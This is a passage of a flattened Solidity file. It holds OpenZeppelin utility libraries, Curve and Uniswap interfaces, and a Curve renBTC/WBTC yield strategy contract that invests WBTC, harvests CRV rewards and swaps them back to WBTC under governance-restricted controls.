require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20Detailed.sol
pragma solidity ^0.5.0;
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
}
// File: contracts/strategies/curve/interfaces/Gauge.sol
pragma solidity 0.5.16;
interface Gauge {
function deposit(uint) external;
function balanceOf(address) external view returns (uint);
function withdraw(uint) external;
}
interface Mintr {
function mint(address) external;
}
// File: contracts/strategies/curve/interfaces/ICurveFiWbtc.sol
pragma solidity 0.5.16;
interface ICurveFiWbtc {
function get_virtual_price() external view returns (uint);
function add_liquidity(
uint256[2] calldata amounts,
uint256 min_mint_amount
) external;
function remove_liquidity_imbalance(
uint256[2] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(
uint256 _amount,
uint256[2] calldata amounts
) external;
function exchange(
int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount
) external;
function calc_token_amount(
uint256[2] calldata amounts,
bool deposit
) external view returns(uint);
function calc_withdraw_one_coin(
uint256 _token_amount, int128 i) external view returns (uint256);
function remove_liquidity_one_coin(uint256 _token_amount, int128 i,
uint256 min_amount) external;
}
// File: contracts/strategies/curve/interfaces/yVault.sol
pragma solidity 0.5.16;
interface yERC20 {
function deposit(uint256 _amount) external;
function withdraw(uint256 _amount) external;
function getPricePerFullShare() external view returns (uint256);
}
// File: contracts/strategies/curve/interfaces/IPriceConvertor.sol
pragma solidity 0.5.16;
interface IPriceConvertor {
function yCrvToUnderlying(uint256 _token_amount, uint256 i) external view returns (uint256);
}
// File: contracts/hardworkInterface/IController.sol
pragma solidity 0.5.16;
interface IController {
// [Grey list]
// An EOA can safely interact with the system no matter what.
// If you're using Metamask, you're using an EOA.
// Only smart contracts may be affected by this grey list.
//
// This contract will not be able to ban any EOA from the system
// even if an EOA is being added to the greyList, he/she will still be able
// to interact with the whole system as if nothing happened.
// Only smart contracts will be affected by being added to the greyList.
// This grey list is only used in Vault.sol, see the code there for reference
function greyList(address _target) external returns(bool);
function addVaultAndStrategy(address _vault, address _strategy) external;
function doHardWork(address _vault) external;
function hasVault(address _vault) external returns(bool);
function salvage(address _token, uint256 amount) external;
function salvageStrategy(address _strategy, address _token, uint256 amount) external;
function notifyFee(address _underlying, uint256 fee) external;
function profitSharingNumerator() external view returns (uint256);
function profitSharingDenominator() external view returns (uint256);
}
// File: contracts/Storage.sol
pragma solidity 0.5.16;
contract Storage {
address public governance;
address public controller;
constructor() public {
governance = msg.sender;
}
modifier onlyGovernance() {
require(isGovernance(msg.sender), "Not governance");
_;
}
function setGovernance(address _governance) public onlyGovernance {
require(_governance != address(0), "new governance shouldn't be empty");
governance = _governance;
}
function setController(address _controller) public onlyGovernance {
require(_controller != address(0), "new controller shouldn't be empty");
controller = _controller;
}
function isGovernance(address account) public view returns (bool) {
return account == governance;
}
function isController(address account) public view returns (bool) {
return account == controller;
}
}
// File: contracts/Governable.sol
pragma solidity 0.5.16;
contract Governable {
Storage public store;
constructor(address _store) public {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
modifier onlyGovernance() {
require(store.isGovernance(msg.sender), "Not governance");
_;
}
function setStorage(address _store) public onlyGovernance {
require(_store != address(0), "new storage shouldn't be empty");
store = Storage(_store);
}
function governance() public view returns (address) {
return store.governance();
}
}
// File: contracts/Controllable.sol
pragma solidity 0.5.16;
contract Controllable is Governable {
constructor(address _storage) Governable(_storage) public {
}
modifier onlyController() {
require(store.isController(msg.sender), "Not a controller");
_;
}
modifier onlyControllerOrGovernance(){
require((store.isController(msg.sender) || store.isGovernance(msg.sender)),
"The caller must be controller or governance");
_;
}
function controller() public view returns (address) {
return store.controller();
}
}
// File: contracts/strategies/ProfitNotifier.sol
pragma solidity 0.5.16;
contract ProfitNotifier is Controllable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public profitSharingNumerator;
uint256 public profitSharingDenominator;
address public underlying;
event ProfitLog(
uint256 oldBalance,
uint256 newBalance,
uint256 feeAmount,
uint256 timestamp
);
constructor(
address _storage,
address _underlying
) public Controllable(_storage){
underlying = _underlying;
// persist in the state for immutability of the fee
profitSharingNumerator = IController(controller()).profitSharingNumerator();
profitSharingDenominator = IController(controller()).profitSharingDenominator();
require(profitSharingNumerator < profitSharingDenominator, "invalid profit share");
}
function notifyProfit(uint256 oldBalance, uint256 newBalance) internal {
if (newBalance > oldBalance) {
uint256 profit = newBalance.sub(oldBalance);
uint256 feeAmount = profit.mul(profitSharingNumerator).div(profitSharingDenominator);
emit ProfitLog(oldBalance, newBalance, feeAmount, block.timestamp);
IERC20(underlying).safeApprove(controller(), 0);
IERC20(underlying).safeApprove(controller(), feeAmount);
IController(controller()).notifyFee(
underlying,
feeAmount
);
} else {
emit ProfitLog(oldBalance, newBalance, 0, block.timestamp);
}
}
}
// File: contracts/hardworkInterface/IVault.sol
pragma solidity 0.5.16;
interface IVault {
// the IERC20 part is the share
function underlyingBalanceInVault() external view returns (uint256);
function underlyingBalanceWithInvestment() external view returns (uint256);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function strategy() external view returns (address);
function setStrategy(address _strategy) external;
function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external;
function deposit(uint256 amountWei) external;
function depositFor(uint256 amountWei, address holder) external;
function withdrawAll() external;
function withdraw(uint256 numberOfShares) external;
function getPricePerFullShare() external view returns (uint256);
function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256);
// hard work should be callable only by the controller (by the hard worker) or by governance
function doHardWork() external;
function rebalance() external;
}
// File: contracts/hardworkInterface/IStrategy.sol
pragma solidity 0.5.16;
interface IStrategy {
function unsalvagableTokens(address tokens) external view returns (bool);
function governance() external view returns (address);
function controller() external view returns (address);
function underlying() external view returns (address);
function vault() external view returns (address);
function withdrawAllToVault() external;
function withdrawToVault(uint256 amount) external;
function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch()
// should only be called by controller
function salvage(address recipient, address token, uint256 amount) external;
function doHardWork() external;
function depositArbCheck() external view returns(bool);
}
// File: contracts/uniswap/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.5.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File: contracts/uniswap/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.5.0;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File: contracts/strategies/curve/CRVStrategyWRenBTC.sol
pragma solidity 0.5.16;
contract CRVStrategyWRenBTC is IStrategy, ProfitNotifier {
enum TokenIndex {REN_BTC, WBTC}
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
// wbtc token address (or ren if we want both)
address public wbtc;
// the matching enum record used to determine the index
TokenIndex tokenIndex;
// our vault holding the wbtc asset
address public vault;
// the address of mixToken token
address public mixToken;
// the address of the Curve protocol's pool for REN + WBTC
address public curve;
// these tokens cannot be claimed by the governance
mapping(address => bool) public unsalvagableTokens;
// the wbtc gauge in Curve
address public gauge;
// the reward minter
address public mintr;
// the address for the CRV token
address public crv;
// uniswap router address
address public uni;
// price checkpoint preventing attacks
uint256 public wbtcPriceCheckpoint;
// a unit for the price checkpoint
uint256 public mixTokenUnit;
// settable arbitrage tolerance
uint256 public arbTolerance = 3;
// liquidation path to be used
address[] public uniswap_CRV2WBTC;
// a flag for disabling selling for simplified emergency exit
bool public sell = true;
// minimum CRV amount to be liquidation
uint256 public sellFloor = 30e18;
event Liquidating(uint256 amount);
event ProfitsNotCollected();
modifier restricted() {
require(msg.sender == vault || msg.sender == controller()
|| msg.sender == governance(),
"The sender has to be the controller, governance, or vault");
_;
}
constructor(
address _storage,
address _wbtc,
address _vault,
uint256 _tokenIndex,
address _mixToken,
address _curvePool,
address _crv,
address _weth,
address _gauge,
address _mintr,
address _uniswap
)
ProfitNotifier(_storage, _wbtc) public {
vault = _vault;
wbtc = _wbtc;
tokenIndex = TokenIndex(_tokenIndex);
mixToken = _mixToken;
curve = _curvePool;
gauge = _gauge;
crv = _crv;
uni = _uniswap;
mintr = _mintr;
uniswap_CRV2WBTC = [_crv, _weth, _wbtc];
// set these tokens to be not salvageable
unsalvagableTokens[wbtc] = true;
unsalvagableTokens[mixToken] = true;
unsalvagableTokens[crv] = true;
mixTokenUnit = 10 ** 18;
// starting with a stable price, the mainnet will override this value
wbtcPriceCheckpoint = mixTokenUnit;
}
function depositArbCheck() public view returns(bool) {
uint256 currentPrice = wbtcValueFromMixToken(mixTokenUnit);
if (currentPrice > wbtcPriceCheckpoint) {
return currentPrice.mul(100).div(wbtcPriceCheckpoint) > 100 - arbTolerance;
} else {
return wbtcPriceCheckpoint.mul(100).div(currentPrice) > 100 - arbTolerance;
}
}
function setArbTolerance(uint256 tolerance) external onlyGovernance {
require(tolerance <= 100, "at most 100");
arbTolerance = tolerance;
}
/**
* Uses the Curve protocol to convert the wbtc asset into to mixed renwbtc token.
*/
function mixFromWBTC() internal {
uint256 wbtcBalance = IERC20(wbtc).balanceOf(address(this));
if (wbtcBalance > 0) {
IERC20(wbtc).safeApprove(curve, 0);
IERC20(wbtc).safeApprove(curve, wbtcBalance);
// we can accept 0 as minimum because this is called only by a trusted role
uint256 minimum = 0;
uint256[2] memory coinAmounts = wrapCoinAmount(wbtcBalance);
ICurveFiWbtc(curve).add_liquidity(
coinAmounts, minimum
);
}
// now we have the mixed token
}
/**
* Uses the Curve protocol to convert the mixed token back into the wbtc asset. If it cannot
* acquire the limit amount, it will acquire the maximum it can.
*/
function mixToWBTC(uint256 wbtcLimit) internal {
uint256 mixTokenBalance = IERC20(mixToken).balanceOf(address(this));
// this is the maximum number of wbtc we can get for our mixed token
uint256 wbtcMaximumAmount = wbtcValueFromMixToken(mixTokenBalance);
if (wbtcMaximumAmount == 0) {
return;
}
if (wbtcLimit < wbtcMaximumAmount) {
// we want less than what we can get, we ask for the exact amount
// now we can remove the liquidity
uint256[2] memory tokenAmounts = wrapCoinAmount(wbtcLimit);
IERC20(mixToken).safeApprove(curve, 0);
IERC20(mixToken).safeApprove(curve, mixTokenBalance);
ICurveFiWbtc(curve).remove_liquidity_imbalance(
tokenAmounts, mixTokenBalance
);
} else {
// we want more than we can get, so we withdraw everything
IERC20(mixToken).safeApprove(curve, 0);
IERC20(mixToken).safeApprove(curve, mixTokenBalance);
ICurveFiWbtc(curve).remove_liquidity_one_coin(mixTokenBalance, int128(tokenIndex), 0);
}
// now we have wbtc asset
}
/**
* Withdraws an wbtc asset from the strategy to the vault in the specified amount by asking
* by removing imbalanced liquidity from the Curve protocol. The rest is deposited back to the
* Curve protocol pool. If the amount requested cannot be obtained, the method will get as much
* as we have.
*/
function withdrawToVault(uint256 amountWbtc) external restricted {
// withdraw all from gauge
Gauge(gauge).withdraw(Gauge(gauge).balanceOf(address(this)));
// convert the mix to WBTC, but get at most amountWbtc
mixToWBTC(amountWbtc);
// we can transfer the asset to the vault
uint256 actualBalance = IERC20(wbtc).balanceOf(address(this));
if (actualBalance > 0) {
IERC20(wbtc).safeTransfer(vault, Math.min(amountWbtc, actualBalance));
}
// invest back the rest
investAllUnderlying();
}
/**
* Withdraws all assets from the vault.
*/
function withdrawAllToVault() external restricted {
// withdraw all from gauge
Gauge(gauge).withdraw(Gauge(gauge).balanceOf(address(this)));
// convert the mix to WBTC, we want the entire balance
mixToWBTC(uint256(~0));
// we can transfer the asset to the vault
uint256 actualBalance = IERC20(wbtc).balanceOf(address(this));
if (actualBalance > 0) {
IERC20(wbtc).safeTransfer(vault, actualBalance);
}
}
/**
* Invests all wbtc assets into our mixToken vault.
*/
function investAllUnderlying() internal {
// convert the entire balance not yet invested into mixToken first
mixFromWBTC();
// then deposit into the mixToken vault
uint256 mixTokenBalance = IERC20(mixToken).balanceOf(address(this));
if (mixTokenBalance > 0) {
IERC20(mixToken).safeApprove(gauge, 0);
IERC20(mixToken).safeApprove(gauge, mixTokenBalance);
Gauge(gauge).deposit(mixTokenBalance);
}
}
/**
* The hard work only invests all wbtc assets, and then tells the controller to call hard
* work on the mixToken vault.
*/
function doHardWork() public restricted {
claimAndLiquidateCrv();
investAllUnderlying();
wbtcPriceCheckpoint = wbtcValueFromMixToken(mixTokenUnit);
}
/**
* Salvages a token. We cannot salvage mixToken tokens, CRV, or wbtc assets.
*/
function salvage(address recipient, address token, uint256 amount) public onlyGovernance {
// To make sure that governance cannot come in and take away the coins
require(!unsalvagableTokens[token], "token is defined as not salvageable");
IERC20(token).safeTransfer(recipient, amount);
}
/**
* Returns the wbtc invested balance. The is the wbtc amount in this stragey, plus the gauge
* amount of the mixed token converted back to wbtc.
*/
function investedUnderlyingBalance() public view returns (uint256) {
uint256 gaugeBalance = Gauge(gauge).balanceOf(address(this));
uint256 wbtcBalance = IERC20(wbtc).balanceOf(address(this));
if (gaugeBalance == 0) {
// !!! if we have 0 balance in gauge, the conversion to wbtc reverts in Curve
// !!! this if-statement is necessary to avoid transaction reverts
return wbtcBalance;
}
uint256 investedBalance = wbtcValueFromMixToken(gaugeBalance);
return investedBalance.add(wbtcBalance);
}
function wbtcValueFromMixToken(uint256 mixTokenBalance) public view returns (uint256) {
return ICurveFiWbtc(curve).calc_withdraw_one_coin(mixTokenBalance,
int128(tokenIndex));
}
/**
* Wraps the coin amount in the array for interacting with the Curve protocol
*/
function wrapCoinAmount(uint256 amount) internal view returns (uint256[2] memory) {
uint256[2] memory amounts = [uint256(0), uint256(0)];
amounts[uint56(tokenIndex)] = amount;
return amounts;
}
/**
* Claims the CRV crop, converts it to WBTC/renWBTC on Uniswap
*/
function claimAndLiquidateCrv() internal {
if (!sell) {
// Profits can be disabled for possible simplified and rapid exit
emit ProfitsNotCollected();
return;
}
Mintr(mintr).mint(gauge);
// claiming rewards and liquidating them
uint256 crvBalance = IERC20(crv).balanceOf(address(this));
emit Liquidating(crvBalance);
if (crvBalance > sellFloor) {
uint256 wbtcBalanceBefore = IERC20(wbtc).balanceOf(address(this));
IERC20(crv).safeApprove(uni, 0);
IERC20(crv).safeApprove(uni, crvBalance);
// we can accept 1 as the minimum because this will be called only by a trusted worker
IUniswapV2Router02(uni).swapExactTokensForTokens(
crvBalance, 1, uniswap_CRV2WBTC, address(this), block.timestamp
);
// now we have WBTC
notifyProfit(wbtcBalanceBefore, IERC20(wbtc).balanceOf(address(this)));
}
}
/**
* Can completely disable claiming CRV rewards and selling. Good for emergency withdraw in the
* simplest possible way.
*/
function setSell(bool s) public onlyGovernance {
sell = s;
}
/**
* Sets the minimum amount of CRV needed to trigger a sale.
*/
function setSellFloor(uint256 floor) public onlyGovernance {
sellFloor = floor;
